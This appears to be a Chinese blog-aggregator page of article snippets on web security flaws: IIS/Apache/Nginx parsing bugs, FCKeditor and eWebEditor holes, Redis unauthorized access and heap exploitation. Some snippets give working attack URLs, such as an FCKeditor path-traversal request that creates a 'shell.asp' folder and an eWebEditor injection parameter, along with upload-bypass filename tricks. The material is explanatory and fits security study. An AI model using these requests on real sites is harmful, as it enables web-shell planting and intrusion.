解析漏洞：指一些特殊文件被iis apache nginx某种情况解释成脚本文件格式的漏洞 一，is解析漏洞： 1，目录解析：在网站下建立文件夹名字为：xxx.asp，.asa的文件夹，其目录内的任何拓展名文件都会被iis当作asp文件去解析执行 被当作asp文件去执行的话，不管他改不改名都可以拿s ...
转载
2021-09-12 17:31:00
246阅读
2评论
Version 2.4.1 测试通过修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
转载
精选
2011-01-03 19:47:47
1593阅读
redis未授权访问漏洞学习1. redis是什么Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。Redis的外围由一个键、值映射的字典构成。为高速低负载存储系统提供了一种解决方案。 2. &nb
二层安全主要讲了以下内容：1：TRUNK欺骗：主机模拟TRUNK协商，使用DTP漏洞获取非法信息。解决方法是关闭DTP。2：802.1Q欺骗：利用NATIVE VLAN的漏洞（很多网络把NATIVE VLAN设成VLAN 1），把攻击信息发到VLAN 1的用户。解决办法是改变NATIVE VLAN。3：CAM表拥塞攻击：利用CAM表满后，交换机会泛洪转发所有包的原理，恶意添满CAM表，获取别人的信
翻译
精选
2013-08-27 15:41:59
620阅读
一、核心思想实现在任意地址写一个数值 局限性：通常unsortedbin attack只能够在目标地址写一个大数值 unsortedbin attack通常是为了配合fastbin attack而使用的fastbin attack见文章：https://blog.csdn.net/qq_41453285/article/details/99315504二、原理图解当从unsor...
原创
2021-08-30 13:52:18
373阅读
Ewebeditor最新漏洞及漏洞大全[收集]：转载作者：佚名时间：2009-06-03 00:04:26下面文章收集转载于网络:)算是比較全面的ewebeditor编辑器的漏洞收集，如今的站点大多数用的都是ewebeditor编辑器，所以ewebeditor漏洞的危害性还是相当大的，做了一下漏...
转载
2015-05-06 19:08:00
166阅读
一、黑盒流量分析：java
在Java反序列化传送的包中，通常有两种传送方式，在TCP报文中，通常二进制流方式传输，在HTTP报文中，则大多以base64传输。
Redis 漏洞介绍1. 什么是Redis未授权访问漏洞Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下会被攻击者利用，比如未添加防火墙规则来避免其他非信任IP访问等。2. 有哪些危害攻击者利用 Redis 未授权访问漏洞读取 Redis 数据库中的数据，可能导致敏感信息泄露或恶意执行 flushall 命令清空
Redis未授权访问漏洞Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。漏洞的危害（1）攻击者无需认证访问到内部数据，可能导致
thinkphp在国内来说，很多站长以及平台都在使用这套开源的系统来建站，为什么会这么深受大家的喜欢，第一开源，便捷，高效，生成静态化html，第二框架性的易于开发php架构，很多第三方的插件以及第三方的开发公司较多，模板可以自定义设计，在thinkphp的基础上可以开发很多大型的虚拟币平台，以及会员平台，商城系统，thinkPHP的官方在系统升级方面做的比较完善，及时更新与修复一些BUG。目前官
Redis未授权访问导致远程命令执行是比较久的漏洞了，15年11月左右爆出来的。这个洞在内网的时候比较多，外网暴露6379端口的比较少，但是我们公司服务器中过一次招，所以本文对这个漏洞做一个总结。
1.Redis相关介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Redis是一个key-value存储系统。它包括string(字符串)、list(链表)
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
fckeditor爆路径漏洞
转载
精选
2011-01-03 19:47:29
1329阅读
ewebeditor的几个版本存在注入！
ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
添加验证字符串，和管理员字段可以跑出管理员的md5加密密码！
转载
精选
2011-01-03 19:49:27
1012阅读
xss防御：
1、尽量少将域名的domain设为域名的根下面，减少分站xss漏洞对主站的影响；
2、对输入的数据进行过滤检查：
public static String htmlSpecialChars(final String s) { String
原创
2011-11-02 17:49:47
682阅读
点赞
1，解析漏洞的介绍,IIS6解析漏洞 (1.asp目录，cer等后缀，分号)apache解析漏洞 (htaccess,1.php.x)IIS7及nginx解析漏洞 （a.com/logo.png/1.php）2，各种绕过上传的方法.截断上传路径修改大小写绕过注入绕过文件头欺骗 1.白名单 截断 1.asp%1.jpg截断上传就
原创
2015-03-14 13:13:41
1828阅读
起序：是因为我同学的云服务器被黑了，被挖矿了，原因就是 redis 可以未授权访问，还是 root 级别的，我直接好家伙，整理记录一下。一、软件环境虚拟机：VMware Workstation 15.5.1 ProKali：kali-linux-2020.4-installer-amd64.isoCentOS：CentOS-7-x86_64-DVD-2003.isoredis-5.0.5.tar.
2015年11月6日，FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。
一、环境搭建运行成功后，Nginx将会监听8080/8081/8082三个端口，分别对应三种漏洞。二、漏洞复现1.CRLF注入漏洞Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。错误的配置文件示例（原本的
这里大概说一下！目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件！这个文件有的不需要登陆验证，有些需要！很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改！这种情况下，唯一可以利用的也就是利用遍历 目录功能查看网站文件，比如数据库路径、后台地址、其他的上传地址、最直观的就是别
转载
精选
2011-01-03 19:48:38
1619阅读
